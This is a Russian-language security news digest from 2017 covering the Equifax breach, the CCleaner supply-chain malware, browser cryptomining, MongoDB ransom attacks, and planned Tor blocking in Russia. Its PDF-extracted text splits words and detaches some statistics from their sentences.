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КРАХ EQUIFAX
В  начале  сен тября  2017  года  ста ло  извес тно  об  утеч ке  дан ных,  которую

допус тило одно из круп ней ших бюро кре дит ных исто рий в мире Equifax.

Пред ста вите ли  северо аме рикан ско го  под разде ления  Equifax  сооб щили,

что неиз вес тные зло умыш ленни ки зав ладели лич ной информа цией 143 мил‐ 

лионов человек (все го в США про жива ет 324 мил лиона человек), вклю чая их

номера  соци аль ного  стра хова ния  и  водитель ских  удос товере ний,  пол ные

име на  и  адре са.  Кро ме  того,  в  209  тысячах  слу чаев  в  докумен тах  так же

фигури рова ла  информа ция  о  бан ков ских  кар тах  кли ентов.  Хотя  отде ления

Equifax  в  дру гих  стра нах  не  пос тра дали,  утеч ка  так же  зат ронула  некото рое

количес тво жителей Канады и Великоб ритании.

Со обща лось,  что  неиз вес тные  про ник ли  на  сер веры  ком пании  еще  в

мае 2017 года, но их при сутс твие оста валось незаме чен ным вплоть до кон ца

июля 2017 года.

Пос ле столь резонан сно го взло ма ИБ‐экспер ты и СМИ немед ленно при‐ 

нялись  стро ить  пред положе ния  о  том,  как  имен но  зло умыш ленни ки  мог ли

ском про мети ровать одно из круп ней ших бюро кре дит ных исто рий. Наибо лее

инте рес ную и «склад ную» теорию выд винули пред ста вите ли пор тала QZ.com,

при над лежаще го Atlantic Media. Они писали, что хакеры мог ли исполь зовать

кри тичес кую  уяз вимость  в  Apache  Struts  (CVE‐2017‐9805),  об  обна руже нии

которой    в  начале сен тября 2017  года,  хотя баг  при‐ 

сутс тво вал в коде девять лет.

офи циаль но сооб щили

В  резуль тате  раз работ чики  Apache  Software  Foundation  вынуж дены  были

выс тупить  с  офи циаль ным  заяв лени ем  и  попыта лись  оправдать ся.  В  офи‐ 

циаль ном  бло ге  появи лось  длин ное  пос лание,  написан ное  вице‐пре зиден‐ 

том  Apache  Struts,  где  тот  под черки вал,  что  доказа тель ств  исполь зования

бага CVE‐2017‐9805 пока  нет.  Так же он  акценти ровал  вни мание на  том,  что

эта проб лема была выяв лена иссле дова теля ми толь ко в июле 2017 года, тог‐ 

да как взлом Equifax про изо шел в мае 2017 года. То есть, даже если хакеры

дей стви тель но  экс плу ати рова ли  уяз вимость,  на  тот  момент  она  еще  пред‐ 

став ляла собой 0day.

В  ито ге  про веден ное  рас сле дова ние  показа ло,  что  теория QZ.com была

поч ти  вер на.  14  сен тября  2017  года  на  офи циаль ном  сай те  equifaxsecuri‐

ty2017.com,  пос вящен ном  инци ден ту,  появи лось  обновле ние,  сог ласно

которо му  зло умыш ленни ки  дей стви тель но  ском про мети рова ли  ком панию

через уяз вимость в Apache Struts. Но, как ока залось, прес тупни ки экс плу ати‐ 

рова ли проб лему CVE‐2017‐5638, а вов се не све жий баг CVE‐2017‐9805.

Ин терес но,  что  уяз вимость CVE‐2017‐5638 была устра нена еще в начале

мар та 2017 года, более того, в силу дос тупнос ти экс пло итов проб лему прак‐ 

тичес ки  сра зу  начали  активно  исполь зовать  зло умыш ленни ки.  Так  как,  сог‐ 

ласно офи циаль ным дан ным, взлом Equifax про изо шел в мае, выходи ло, что

у  ком пании  было  два  месяца  на  уста нов ку  обновле ния,  одна ко  по  какой‐то

при чине этим ник то не оза ботил ся.

Впро чем,  в  кон це  сен тября,  бла года ря  пуб ликации  изда ния  Wall  Street

Journal, появи лись подоз рения, что взлом Equifax про изо шел не в мае. Жур‐ 

налис ты  изда ния  ссы лают ся  на  информа цию,  которой  с  ними  подели лись

пред ста вите ли  ком пании  FireEye,  получив шие  дан ные  от  неназ ванных  кли‐ 

ентов  Equifax.  Ока залось,  что  пер вые  приз наки  ком про мета ции  сети  бюро

кре дит ных исто рий появи лись еще в мар те 2017 года, а не в мае, как гла сили

офи циаль ные заяв ления. Тем не менее к тому момен ту о CVE‐2017‐5638 уже

в любом слу чае было извес тно.

Од нако проб лемы Equifax не огра ничи лись одним толь ко взло мом и кра‐ 

жей  колос саль ных  объ емов  дан ных.  Пос ле  того  как  об  инци ден те  узна ла

широкая  общес твен ность,  ком пания  ста ла  объ ектом  жес ткой  кри тики  СМИ

и ИБ‐спе циалис тов со все го мира. Дело было даже не в самом взло ме, а в

том, как пред ста вите ли Equifax спра вились с пос ледс тви ями ком про мета ции

и утеч кой дан ных.

К  при меру,  пос ле  пуб ликации  офи циаль ного  заяв ления  об  инци ден те

для  пос тра дав ших  был  запущен  спе циаль ный  сайт  equifaxsecurity2017.com,

где  мож но  най ти  отве ты  на  наибо лее  рас простра нен ные  воп росы,  подать

заяв ление на исполь зование бес плат ного  кре дит ного монито рин га,  а  так же

вос поль зовать ся  сер висами  по  защите  от  кра жи  лич ности.  При  этом  кли‐ 

ентам  ком пании пре дос тавили  воз можность про верить,  чис лятся  ли их дан‐ 

ные  в  спис ках  пос тра дав ших,  но  сде лать  это  нуж но  уже  на  дру гом  сай те:

trustedidpremier.com/eligibility.

Жур налис ты изда ния Vice Motherboard рас кри тико вали  ком панию за соз‐ 

дание путани цы из трех раз ных сай тов (ведь еще есть офи циаль ный equifax.‐

com). Более  того,  пред ста вите ли изда ния обна ружи ли,  что  защита от  кра жи

лич ности  TrustedID  Premier  работа ет  весь ма  стран но.  В  час тнос ти,  сис тема

поп росила некото рых сот рудни ков редак ции вер нуть ся для акти вации Truste‐

dID  Premier  через  неделю.  Дру гим  жур налис там  сис тема  сооб щила,  что  их

дан ные не пос тра дали, но пос ле пов торно го зап роса их тоже поп росили вер‐ 

нуть ся поз же.

Ху же  того,  пред ста вите ли  СМИ  выяс нили,  что  сайт  для  пос тра дав ших

работа ет под управле нием сто ковой вер сии WordPress, которую вряд ли мож‐ 

но наз вать безопас ной и под ходящей для такого слу чая.

Поз днее  и  вов се  ста ло  извес тно,  что  пред ста вите ли  Equifax  по  ошиб ке

нап равля ли сво их кли ентов не на офи циаль ный сайт для пос тра дав ших, а на

под дель ную стра ницу. Так, в офи циаль ном твит тере пред ста вите ли бюро кре‐ 

дит ных исто рий неод нократ но совето вали пос тра дав шим посетить сайт secu‐

rityequifax2017.com  вмес то  нас тояще го  equifaxsecurity2017.com.  Под делку

зарегис три ровал  ИБ‐иссле дова тель,  который  хотел  про демонс три ровать,

нас коль ко лег ко будет перепу тать офи циаль ную и под дель ную стра ницы. Ему

это  опре делен но  уда лось.  В  нас тоящее  вре мя  все  оши боч ные  сооб щения

уже  были  уда лены,  но  некото рые  из  них  мож но  уви деть  на  иллюс тра циях

ниже.

 ЖИТЕЛЕЙ РОС СИИ УВЕ РЕНЫ, ЧТО ЗА НИМИ МОГУТ

СЛЕ ДИТЬ ХАКЕРЫ

53,5%

 → Сог ласно опро су, про веден ному спе циалис тами ком пании Avast, более полови ны жителей
Рос сии уве рены, что хакеры могут сле дить за ними через веб‐камеры на их компь юте рах.

В сред нем в мире   рес понден тов (40%) не зна ют о такой угро зе, в то вре мя как мно гие
рос сияне уве рены, что такая воз можность сущес тву ет. При этом иссле дова тели отме чают, что
угро за дей стви тель но есть, а некото рые из подоб ных шпи онских прог рамм и вов се бес плат ны.

2 из 5

Увы, нес мотря на то что прак тичес ки все зна ют о такой веро ятности, опрос показал, что лишь
 рос сиян соб люда ют меры безопас ности.34%

CCLEANER

ВЗЛОМАЛИ
Спе циалис ты Cisco Talos рас ска зали о неп рият ном инци ден те, зат ронув шем

популяр ное при ложе ние CCleaner, исполь зующееся для опти миза ции и «чис‐ 

тки» ОС семей ства Windows. По дан ным иссле дова телей,  неиз вес тные  зло‐ 

умыш ленни ки  ском про мети рова ли  при ложе ние  еще  15  августа  2017  года

и вплоть до 12 сен тября 2017 года вмес те с CCleaner рас простра нялась мал‐ 

варь Floxif.

Ком про мета цию замети ли поч ти слу чай но: во вре мя изу чения офи циаль‐ 

ной  вер сии  CCleaner  5.33  обна ружи лось,  что  при ложе ние  свя зыва ется

с  подоз ритель ным  доменом.  Как  ока залось,  ответс тве нен  за  это  был  вре‐ 

донос Floxif, работа ющий лишь на 32‐бит ных сис темах из‐под учет ной записи

адми нис тра тора.

Мал варь собира ет все дан ные о заражен ной машине (информа цию о сис‐ 

теме, запущен ных про цес сах, MAC‐адре сах сетевых устрой ств и уни каль ные

ID  ком плек тующих),  а  затем  переда ет  их  на  уда лен ный  сер вер  зло умыш‐ 

ленни ков. При этом вре донос спо собен ска чивать и запус кать допол нитель‐ 

ные бинар ники,  хотя,  по  дан ным иссле дова телей,  ни  один  заражен ный  хост

так и не под вер гся вто рой фазе ата ки, то есть Floxif не заг ружал допол нитель‐ 

ные пей лоады на заражен ные устрой ства.

Схе ма работы Floxif

Из началь но  экспер ты  Cisco  Talos  пред положи ли,  что  зло умыш ленни ки

каким‐то  обра зом  ском про мети рова ли  цепоч ку  пос тавок  Avast  и  исполь‐ 

зовали циф ровой сер тификат, что бы под писать вре донос ную вер сию CClean‐

er 5.33, под менив ею легитим ный вари ант. Иссле дова тели не исклю чали, что

прес тупни кам помог инсай дер.

Раз работ чики  CCleaner,  ком пания  Piriform,  которую  недав но  при обре ла

Avast,  под твер дили  слу чив шееся  в  офи циаль ном  бло ге.  Они  сооб щили,  что

зараже нию под вер глись 32‐бит ные вари анты CCleaner 5.33.6162 и CCleaner

Cloud  1.07.3191.  По  дан ным  раз работ чиков,  в  ходе  ата ки  пос тра дали  более

двух мил лионов поль зовате лей.

13  сен тября  2017  года  была  выпуще на  вер сия  CCleaner  5.34,  а  так же

обновле ние  1.07.3214  для CCleaner Cloud,  которые  не  содер жат  вре донос‐ 

ного кода.

Од нако  к  кон цу  сен тября  выяс нилось,  что  дан ная  ата ка,  ско рее  все го,

была  не  так  прос та  и  велась  груп пой  «пра витель ствен ных  хакеров»,  извес‐ 

тной  под  наз вани ем  Axiom  (так же  груп пиров ку  называ ют  APT17,  DeputyDog,

Tailgater Team, Hidden Lynx, Voho, Group 72 и AuroraPanda).

Пер вым о свя зи  взло ма CCleaner  с опе раци ями Axiom загово рил Кос тин

Райю  (Costin  Raiu),  гла ва  меж дународ ной  иссле дова тель ской  коман ды

«Лабора тории  Кас пер ско го».  В  сво ем  твит тере  эксперт  обра тил  вни мание

на  то,  что  код  мал вари,  исполь зовав шей ся  при  ата ке  на  CCleaner,  очень

похож на исходный код бэк дора Missl, который ранее обна ружи вали во вре мя

кам паний Axiom.

С  теорией  экспер та  сог ласились  и  его  кол леги  из Cisco  Talos.  Сог ласно

деталь ному  отче ту  о  про веден ном  ими  рас сле дова нии,  «груп па  72»  впол не

мог ла сто ять за взло мом CCleaner. Скрин шот ниже наг лядно демонс три рует

сов падения исходни ков, выз вавшие подоз рения у спе циалис тов.

Продолжение статьи →

mailto:nefedova@glc.ru
https://xakep.ru/2017/09/06/apache-struts-rce/


 Начало статьи←

Кро ме  того, ана лити ки Cisco Talos заяви ли,  что неназ ванная  третья сто рона
пре дос тавила в их рас поряже ние фай лы с управля юще го сер вера зло умыш‐ 
ленни ков, вклю чая БД. Имен но на этот сер вер пос тупали дан ные, соб ранные
ском про мети рован ными  вер сиями  CCleaner  (информа ция  о  сис теме,
запущен ных  про цес сах,  MAC‐адре сах  сетевых  устрой ств  и  уни каль ные  ID
ком плек тующих).  Спе циалис ты  пишут,  что  они  про вери ли  под линность
информа ции,  сопос тавив ее с дан ными,  соб ранны ми с их  собс твен ных  тес‐ 
товых машин. Сто ит отме тить, что в рас поряже нии экспер тов ока зались дан‐ 
ные  толь ко  за  12–16  сен тября  2017  года  (при чем  дан ные  за  12  сен тября,
судя по все му, были пов режде ны).

Ана лиз этой информа ции выявил,  что све дения о мал вари Floxif,  которая
рас простра нялась вмес те с CCleaner, ока зались неточ ными. Как выяс нилось,
зло умыш ленни ки все‐таки заг рузили допол нитель ные пей лоады как минимум
на  двад цать  раз ных  хос тов.  Так,  в  пери од  12–16  сен тября  к  управля юще му
сер веру обра щались свы ше 700 тысяч машин, и более двад цати из них под‐ 
вер глись вто рой ста дии зараже ния.

На  вто ром  эта пе  зараже ния  зло умыш ленни ки  иден тифици рова ли  под‐ 
ходящие  для  про дол жения  ата ки  сис темы,  на  которые  в  ито ге  дос тавлял ся
незатей ливый  бэк дор.  Он  получал  IP‐адре са  пос редс твом  поис ковых  зап‐ 
росов  к  github.com  и  wordpress.com,  пос ле  чего  ска чивал  на  устрой ство
допол нитель ную мал варь.

Ин терес но,  что  ата кующие  вычис ляли  под ходящих  жертв  по  домен ным
име нам  их  компь юте ров.  На  управля ющем  сер вере  обна ружил ся  длин ный
спи сок, в котором спе циалис ты Cisco наш ли и свою ком панию. Помимо Cis‐
co, прес тупни ков инте ресо вали: Singtel, HTC, Samsung, Sony, Gauselmann, In‐
tel,  VMware,  O2,  Vodafone,  Linksys,  Epson,  MSI,  Akamai,  D‐Link,  Oracle  (Dyn),
а  так же Microsoft  и  Google  (Gmail).  Иссле дова тели  уже  свя зались  со  все ми
потен циаль но  пос тра дав шими  орга низа циями  и  пре дуп редили  их  о  воз‐ 
можных проб лемах.

ИБ‐спе циалис ты  сооб щили,  что  в  теории  прес тупни ки  мог ли  доб рать ся
и до дру гих  круп ных  ком паний и  учрежде ний. Дело в  том,  что прос той SQL‐
зап рос  показал,  что  540  ском про мети рован ных  CCleaner  компь юте ров
находят ся в пра витель ствен ных сетях и еще 51 устрой ство при над лежит бан‐ 
кам.

ПОЛ МИЛЛИ АРДА ПОЛЬ ЗОВАТЕ ЛЕЙ УЖЕ ПОС ТРА ДАЛИ
ОТ МАЙ НИН ГА ЧЕРЕЗ БРА УЗЕ РЫ
 → Сог ласно иссле дова нию, про веден ному спе циалис тами ком пании Adguard, внед рение май‐ 

нин говых  скрип тов  непос редс твен но  в  код  стра ниц  веб‐сай тов  набира ет  популяр ность

с  огромной  ско ростью.  Подоб ный  «при рабо ток»  прак тику ют  как  зло умыш ленни ки,  так  и  сами

адми нис тра торы раз личных круп ных ресур сов, к при меру опе рато ры тор рент‐тре кера The Pirate

Bay.

 сай тов из топовых 100 тысяч ресур сов Alexa май нят крип товалю ту пос редс твом бра узе‐ 

ров посети телей.

2,2%

Опе рато ры    сай тов  встро или  май нин говые  скрип ты  пря мо  на  глав ные  стра ницы  сво их

ресур сов.
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Уже более   человек неволь но пре дос тавили свои сис темы для май нин га, прос то

зай дя на оче ред ной сайт.

500 000 000

Са мыми популяр ными сер висами для бра узер ного май нин га пока оста ются   и 

.
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ЗОЛОТАЯ
КРИПТОЛИХОРАДКА
В  этом  месяце  опе рато ры  тор рент‐тре кера  The  Pirate  Bay,  сами  того
не желая, дали мощ ный тол чок такому ста рому‐новому явле нию, как май нинг
через бра узе ры. 16 сен тября 2017 года поль зовате ли тре кера замети ли, что
при посеще нии некото рых стра ниц сай та наг рузка на про цес сор рез ко воз‐ 
раста ет.  Как  выяс нилось,  при чиной  тому  стал  крип товалют ный  май нер,
который встро или пря мо в код сай та при помощи обыч ного JavaScript. Опе‐ 
рато ры  тре кера  объ ясни ли,  что  май нер  может  помочь  ресур су  в  будущем
пол ностью изба вить ся от рек ламы.

При бли жай шем рас смот рении ока залось,  что май нер был пре дос тавлен
сер висом Coinhive,  который  пред лага ет  вла дель цам  сай тов  кон верти ровать
мощ ности  CPU  посети телей  в  крип товалю ту  Monero.  При  этом  май нер
работал  не  на  всех  стра ницах  ресур са:  фун кцию  акти виро вали  для  резуль‐ 
татов поис ка и на стра ницах катего рий, на глав ной стра нице, а так же на стра‐ 
ницах отдель ных раз дач май нер не фун кци они ровал.

Хо тя сам прин цип вов се не нов, до недав него вре мени ник то не пытал ся
мас сово  внед рять  скры тые  скрип ты  для  май нин га  пря мо  в  код  сай тов,
но  теперь,  сле дуя  при меру  The Pirate Bay,  этим  занима ются  все,  кто  толь ко
может, плюс к теме про явля ют боль шой инте рес зло умыш ленни ки.

К  при меру,  жер тва ми  прес тупни ков,  которые  пыта ются  зарабо тать
на  поль зовате лях,  ста ли  раз работ чики  и  140  тысяч  поль зовате лей  популяр‐ 
ного  рас ширения  для  Chrome,  SafeBrowse.  В  коде  аддо на  появил ся  вре‐ 
донос ный  JavaScript,  который  зас тавлял  бра узе ры  поль зовате лей  май нить
крип товалю ту Monero. Стран ное поведе ние рас ширения не оста лось незаме‐ 
чен ным,  так как наг рузка на CPU зна читель но воз раста ла, вплоть до пол ной
нерабо тос пособ ности «заражен ного» компь юте ра.

Как  ока залось,  раз работ чики  SafeBrowse  вооб ще  не  внед ряли  май нер
в  код  сво его  про дук та.  Они  сооб щили  жур налис там  Bleeping  Computer,  что
занима ются рас сле дова нием про исшедше го и их, по всей видимос ти, взло‐ 
мали.  Дело  в  том,  что  офи циаль но  рас ширение  не  обновля лось  нес коль ко
месяцев,  поэто му  отку да  взя лось  вре донос ное  обновле ние,  содер жащее
май нер, авто ры SafeBrowse были вынуж дены выяс нять вмес те со спе циалис‐ 
тами Google.

Так  как  работа  май нера  зна читель но  вли яет  на  про изво дитель ность
устрой ства и не заметить про исхо дящее слож но, май нин говую рек ламу ста‐ 
рают ся  внед рять  на  сай ты  с  потоко вым  видео  или  бра узер ными  игра ми.
Такие  ресур сы  сами  по  себе  замет но  наг ружа ют  сис тему  и  пот ребля ют
ресур сы, так что поль зователь может не заметить работа ющий на фоне май‐ 
нер. Более того, на таких сай тах поль зовате ли про водят мно го вре мени, что
сулит опе рато рам адва ри боль шие при были.

Как  уже  было  ска зано  выше,  сами  по  себе  май неры  для  бра узе ров
не такое уж новое явле ние. К при меру, пред лага ющий подоб ные услу ги сер‐ 
вис Bitp.it появил ся еще в 2011 году, но в ито ге был зак рыт. Так же в 2015 году
генераль ная  про кура тура  шта та  Нью‐Джер си  зак рыла  ана логич ный  ресурс
Tidbit,  пред лагав ший  вла дель цам  сай тов  май нер,  который  будет  экс плу ати‐ 
ровать  компь юте ры  посети телей.  Тог да  влас ти  соч ли  такую  деятель ность
нелегаль ной, срод ни хакин гу, ведь Tidbit не уве дом лял поль зовате лей о про‐ 
исхо дящем и не спра шивал их раз решения.

Но,  заин тересо вав шись  бра узе рами  поль зовате лей,  прес тупни ки
не забыли и о дру гих схе мах получе ния при были, свя зан ных с май нин гом. Так,
ана лити ки  «Лабора тории Кас пер ско го»  под счи тали,  что  количес тво май нин‐ 
говой  мал вари  рас тет  угро жающи ми  тем пами.  Если  за  2013  год  ком пания
зафик сирова ла все го 205 тысяч атак таких вре доно сов, то за пер вые восемь
месяцев 2017 года их количес тво пре выси ло уже 1,65 мил лиона.

Ис сле дова тели IBM X‐Force, в свою оче редь, про ана лизи рова ли ситу ацию
в  кор поратив ных  сетях.  По  дан ным  спе циалис тов,  количес тво  атак  на  кор‐ 
поратив ные  сети  с  целью  май нин га  крип товалют  воз росло  в  шесть  раз
за  пери од  с  янва ря  по  август  2017  года.  Теперь  зло умыш ленни ки  активно
при меня ют сте ганог рафию,  то есть пря чут вре донос ный код в фай лах изоб‐ 
ражений,  которые  затем  раз меща ют  на  заражен ных  сер верах  популяр ных
CMS  (WordPress,  Joomla  и  JBoss). Для  пер вичной  ком про мета ции  сер веров
зло умыш ленни ки прив лека ют самые раз ные тех ники, «обширные наборы экс‐ 
пло итов» и CMDi (command injection).

Не пос редс твен но  для  май нин га  прес тупни ки  чаще  все го  исполь зуют
легитим ный инс тру мент Minerd или его Linux‐порт kworker. Так же сооб щает ся,
что  ата кующих  инте ресу ют  вов се  не  Bitcoin  и  Ethereum,  а  крип товалю ты,
которые  работа ют  с  про токо лом  CryptoNote.  В  основном  зло умыш ленни ки
май нят Monero (XMR), но так же их вни мание прив лекали Bytecoin (BCN), Bool‐
berry (BBR), Dashcoin (DSH), DigitalNote (XDN), DarkNetCoin (DNC), Fantomcoin
(FCN), Pebblecoin (XPB), Quazarcoin (QCN) и Anonymous Electronic On‐line Coin
(AEON).

 → «Мас шта биру емость  —  это  проб лема  номер  один.  Сущес тву ет  целое  клад бище  сис тем,

которые  утвер жда ли,  буд то  решили  проб лему  мас шта биру емос ти,  но  это  ока залось  не  так.

Это очень серь езный и тяжелый вызов для нас, таковы обще извес тные фак ты»

 о проб лемах мас шта биро вания. Одним из глав ных решений дан ного воп‐ 

роса Бутерин счи тает шар динг.

— Виталик Бутерин

ВЫМОГАТЕЛИ
АТАКУЮТ MONGODB
На чиная с декаб ря 2016  года  зло умыш ленни ки мас сово ата куют пло хо нас‐ 
тро енные сер веры MongoDB. В кон це 2016 — начале 2017 года хакеры сти‐ 
рали из БД информа цию и тре бова ли выкуп за воз вра щение дан ных (которых
у  зло умыш ленни ков  зачас тую  поп росту  не  было).  Пер вый  инци дент  такого
рода  был  замечен  извес тным  ИБ‐иссле дова телем  и  гла вой  GDI  Foundation
Вик тором Гевер сом (Victor Gevers) и выг лядел как еди нич ный слу чай, но вско‐ 
ре  ста ло  оче вид но,  что  так тику  взя ли  на  воору жение  уже 

.
де сят ки  хакер ских

групп
Те перь Геверс и его кол лега, ИБ‐спе циалист Дилан Кац (Dylan Katz) пре‐ 

дуп редили,  что  вымога тель ские  ата ки,  пошед шие  на  спад  вес ной  и  летом
текуще го  года,  возоб новились  с  новой  силой.  По  дан ным  спе циалис тов,
на сце не появи лись сра зу три новые хакер ские груп пы, если судить по email‐
адре сам, исполь зован ным в вымога тель ских сооб щени ях.

Хо тя  по  срав нению  с  началом  года  чис ло  ата кующих  мало,  груп пиров ки
подош ли к делу с раз махом, и их ата ки при чиня ют едва ли не боль ший ущерб.
К  при меру,  зимой  прес тупни ки  сумели  ском про мети ровать  45  тысяч  БД
за месяц активной деятель нос ти, а груп пиров ка Cru3lty взло мала 22 449 БД
все го за одну неделю.

Вик тор Геверс, который по‐преж нему наб люда ет за ситу ацией, сооб щил,
что видел слу чаи, ког да пос тра дав шие вос ста нав ливали уда лен ное зло умыш‐ 
ленни ками содер жимое БД из резер вных копий, но в тот же день ата кующие
ломали сер вер пов торно и вновь сти рали дан ные,  хотя адми нис тра ция сер‐ 
вера пыталась обе зопа сить MongoDB.

«Теперь нам нуж но разоб рать ся в том, что имен но про исхо дит, потому
что  для  завер шения  кар тины  нам  не  хва тает  кусоч ков  голово лом ки.
Все дело в нех ватке зна ний [у адми нис тра торов]? Они сами ухуд шают
безопас ность  нас трой кой  MongoDB,  не  подоз ревая  об  этом?  Они
работа ют с уста рев шими вер сиями, не име ющи ми безопас ных дефол- 
тных  зна чений  и  содер жащими  дру гие  уяз вимос ти?»  —  теоре тизи- 
ровал Геверс.

Как  выяс нилось,  эксперт  прак тичес ки  не  ошиб ся  в  сво их  пред положе ниях.
Дело в том, что раз работ чики MongoDB не мог ли оста вить новую вол ну атак
без вни мания. В ито ге в бло ге ком пании появи лось сооб щение от стар шего
дирек тора по безопас ности про дук тов Дави Оттенгей мера (Davi Ottenheimer).
Он сооб щил, что раз работ чики ока зыва ют помощь ИБ‐спе циалис там и тоже
ста рают ся  разоб рать ся  в  про исхо дящем.  К  сожале нию,  выводы  получи лись
сов сем неуте шитель ными.

Раз работ чики  приз нали,  что  проб лемы  воз никли  еще  до  релиза  вер сии
MongoDB  2.6.0.  Дело  в  том,  что  дефол тная  кон фигура ция  ран них  вер сий
MongoDB  поз воляла  кому  угод но  под клю чить ся  к  интерфей су  адми нис тра‐ 
тора,  не  толь ко  через  localhost,  но  хоть  отку да.  Хуже  того,  учет ная  запись
адми нис тра тора работа ла без пароля, что и вов се было нас тоящим подар ком
для зло умыш ленни ков. Хотя ком пания быс тро осоз нала свои ошиб ки и устра‐ 
нила  эти  проб лемы,  уяз вимые  вер сии  уста новок  уже  разош лись  по  все му
интерне ту,  их  при меня ли  хос тинг‐про вай деры  и  такие  гиган ты,  как  Amazon.
В  резуль тате  тысячи  небезо пас ных  сер веров  MongoDB  ока зались  лег кими
мишеня ми для прес тупни ков.

Од нако  теперь  деталь ное  изу чение  проб лемы  выяви ло,  что  от  атак
вымога телей стра дают отнюдь не толь ко адми нис тра торы ста рых и уяз вимых
вер сий. Раз работ чики рас ска зали, что поль зовате ли самос тоятель но саботи‐ 
руют  защиту  сво их  сер веров  и  игно риру ют  даже  прос тей шие  пра вила
безопас ности.  В  резуль тате  их  сер веры  «смот рят»  в  интернет  вооб ще
без  паролей.  Раз работ чики  MongoDB  и  ИБ‐спе циалис ты  приш ли  к  выводу,
что  имен но  такие  уста нов ки  и  стра дают  в  ходе  новой  вымога тель ской  кам‐ 
пании.

Раз работ чики  в  оче ред ной  раз  напом нили  адми нис тра торам  о  необ‐ 
ходимос ти сво евре мен ного обновле ния ПО и приз вали хотя бы изу чить нас‐ 
трой ки  и  обе зопа сить  фай лы  кон фигура ции  БД.  Так же  в  сво ем  пос лании
Оттенгей мер  сооб щил,  что  гря дущий  релиз  3.5.7  (а  так же  3.6.x)  при несет
стро гую  при вяз ку  localhost‐only,  которая  будет  при менять ся  по  умол чанию
для всех сбо рок.

 ВРЕ ДОНОС НЫХ ПИСЕМ ПРО ПУС КАЕТ
OFFICE 365 ЗА МЕСЯЦ
ОКО ЛО 1 000 000

 → Ана лити ки  ком пании  Cyren  изу чили  10,7  мил лиона  элек трон ных  писем,  про шед ших  через

поч товый  сер вис  Microsoft  Office  365.  Иссле дова тели  пояс няют,  что  встро енный  защит ный

механизм Office 365,  Exchange Online Protection,  в  основном полага ется  на филь тра цию  кор‐ 

респон денции по репута ции, то есть IP‐адрес отпра вите ля дол жен быть вне сен сис темой в чер‐ 

ный спи сок. К сожале нию, во вре мя IoT‐бот нетов и рас пре делен ных атак такая так тика работа ет

не слиш ком хорошо.

Как выяс нилось,   писем содер жали мал варь или были откро вен ным спа мом и фишин гом.9,3%

  тысяч  сооб щений  были  написа ны  спа мера ми,    тысячи  пос ланий  ока зались  фишин‐ 

говыми, а еще   содер жали вре донос ное ПО.
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КАК БУДУТ
БЛОКИРОВАТЬ TOR
Ми нув шим летом Вла димир Путин под писал закон    «О
вне сении изме нений в Федераль ный закон „Об информа ции, информа цион‐ 
ных  тех нологи ях  и  о  защите  информа ции“»,  который  всту пил  в  силу  1  нояб‐ 
ря 2017 года. Закон поз волит рос сий ским влас тям бло киро вать сай ты и сер‐ 
висы, пос редс твом которых мож но получить дос туп к заб локиро ван ным в РФ
ресур сам.  Таким  обра зом,  «в  опа ле»  могут  ока зать ся  VPN‐сер висы,  ано‐ 
нимай зеры, Tor и им подоб ные.

29.07.2017 № 276‐ФЗ

Жур налис ты  «Ведомос тей»  поин тересо вались  у  одно го  из  авто ров  тех‐ 
нологии  луковой  мар шру тиза ции,  Дэвида  Голь дшла га,  каким  обра зом  Рос‐ 
комнад зор  смо жет  бороть ся  с  Tor.  Раз работ чик  рас ска зал  изда нию,  что
регуля тор может вос поль зовать ся сле дующей методи кой.

Ког да  поль зователь  вво дит  в  бра узе ре  адрес  сай та,  на  который  жела ет
попасть, его зап рос в зашиф рован ном виде переда ется на пер вый, вход ной
узел с собс твен ным IP‐адре сом. Для тех, кто не зна ет, как работа ет Tor, Голь‐ 
дшлаг  пояс нил,  что  узлы  быва ют  двух  типов  —  пуб личные  и  непуб личные.
И  рос сий ские  поль зовате ли  Tor  чаще  все го  под клю чают ся  к  пуб личным.  IP‐
адре са  пуб личных  узлов  находят ся  в  откры том  дос тупе,  так  что  регуля тор
может  внес ти  эти  адре са,  а  так же  IP‐адре са  .onion‐сай тов  в  реестр  зап‐ 
рещен ных ресур сов и на уров не про вай деров огра ничить дос туп к Tor. Голь‐ 
дшлаг под черки вает, что это слож но, но тех ничес ки выпол нимо, прос то про‐ 
вай деры  дол жны  дей ство вать  сооб ща.  При  этом  спе циалист  отка зал ся
обсуждать с жур налис тами пла ны Рос комнад зора отно ситель но Tor.

По сло вам Голь дшла га,  хороший при мер того, как это дела ется на наци‐ 
ональ ном уров не, — Китай, но огра ниче ния на уров не про вай деров при меня‐ 
ются во мно гих стра нах, в том чис ле в США. Раз работ чик отме тил, что за пос‐ 
ледние пять лет количес тво рос сий ских поль зовате лей Tor уве личи лось в три
раза (по дан ным «Ведомос тей», таковых нас читыва ется более 200 тысяч).

Ру ково дитель  общес твен ной  орга низа ции  «Рос ком сво бода»  Артем  Коз‐ 
люк  полага ет,  что  для бло киров ки  вход ных  узлов  Tor  Рос комнад зору  впол не
хва тит  «закона  об  ано нимай зерах».  Про цесс  будет  запущен  (если  будет)
не рань ше середи ны декаб ря 2017 года,  так как сна чала ведомс тво дол жно
поп росить сер вис не пре дос тавлять дос туп к зап рещен ным сай там, выж дать
положен ные 30 дней и, если отве та не будет, начать выяв лять вход ные узлы.
Коз люк  сом нева ется,  что  Рос комнад зор  решит ся  заб локиро вать  домен ную
зону  .onion пол ностью, все же  .onion‐сай тов мно жес тво и их в  чис ле про чих
исполь зуют СМИ, науч ные сооб щес тва и соци аль ные сети.

РОС СИЙ СКИЕ «ПИРАТЫ» ОТЛИЧНО ПРИС ПОСОБИ ЛИСЬ
К НОВЫМ УСЛО ВИЯМ СУЩЕС ТВО ВАНИЯ
 → Эк спер ты Group‐IB  пред ста вили  иссле дова ние,  озаг лавлен ное  «Эко номи ка  пират ских  сай‐ 

тов — 2016». Спе циалис ты рас ска зали, что, нев зирая на широкое при мене ние анти пират ско го

законо датель ства,  тор говцы  нелегаль ным  кон тентом  отра бота ли  устой чивые  модели  капита‐ 

лиза ции биз неса и сей час их обо роты лишь про дол жают рас ти.

Ры нок кон тра фак тно го онлайн‐видео в Рунете в прош лом году вырос более чем в  , дос‐ 

тигнув отметки в   руб лей.

2 раза
3,3 мил лиар да

Сум марный доход пиратов Рунета в 2016 году оце нива ется в   руб лей.4,3 мил лиар да

Сред неста тис тичес кий  «пират ский»  онлайн‐киноте атр  зараба тыва ет  поряд ка 

руб лей в год.

9  мил лионов

 → Круп ней шие нелегаль ные онлайн‐киноте атры 2016 года:

Seasonvar.ru1. 

1 мил лион человек в сут киПосещаемость: 

192,3 мил лиона руб лейГодовой доход: 

все еще работа етСтатус: 

My-hit.org2. 

397 тысяч человек в сут киПосещаемость: 

